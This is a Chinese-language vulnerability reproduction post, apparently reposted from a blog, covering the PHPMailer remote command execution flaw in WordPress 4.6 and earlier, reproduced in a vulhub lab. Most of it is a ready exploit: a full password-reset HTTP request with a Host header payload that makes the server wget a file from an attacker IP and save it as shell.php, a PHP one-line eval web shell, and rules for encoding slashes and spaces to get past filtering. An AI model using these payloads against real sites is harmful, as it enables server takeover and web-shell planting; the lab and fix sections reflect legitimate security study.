标签:10 4.6 log PwnScriptum spool substr directory 2016 tod
0X01 漏洞介绍
WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
漏洞利用条件:
不能包含特殊字符
命令需为小写
命令需使用绝对路径
需要知道现有用户名
注意点:命令只在服务器端执行命令、不会显示在客户端
0x02 影响版本
WordPress <= 4.6 PHPMailer < 5.2.18
0x03 搭建环境
vulhub环境
0x04 漏洞复现
漏洞出现在管理员的密码重置界面/wp-login.php?action=lostpassword:
在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,这个时候PHPmailer<=5.2.18时存在RCE
此时在重置密码处输入用户名admin,然后使用BurpSuite抓包拦截,修改host的值:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}192.168.43.216${substr{0}{1}{$spool_directory}}one.txt}} null)
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
实际利用的过程中还需要注意一下几点:
1、执行的命令不能包含大量特殊字符比如 :、引号等等。
2、命令会被转换为小写字母
3、命令需要使用绝对路径
4、需要知道一个存在的用户名,比如admin
攻击机器开启web服务,ip/one.txt内容写入一句话木马:
<?php @eval($_POST['zksmile'])?>
发送payload使目标靶机下载one.txt,并保存到web根目录下/var/www/html/shell.php:
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 172.18.0.1/zk/one.txt}} null)
==>
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}one.txt}} null)
payload转换规则:
1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
0x05 修复方案
更新wordpress、phpmailer到最新版本
标签:10,4.6,log,PwnScriptum,spool,substr,directory,2016,tod 来源: https://www.cnblogs.com/huasheng333/p/13258863.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。